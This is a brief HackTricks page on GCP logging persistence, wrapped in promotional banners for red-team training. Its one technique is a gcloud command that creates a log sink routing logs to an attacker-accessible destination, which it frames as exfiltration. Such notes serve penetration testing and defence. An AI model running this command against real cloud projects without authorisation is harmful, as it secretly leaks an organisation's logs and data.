GCP - Logging Persistence

Reading time: 1 minute

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Logging

Find more information about Logging in:

GCP - Logging Enum

logging.sinks.create

Create a sink to exfiltrate the logs to an attackers accessible destination:

bash
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks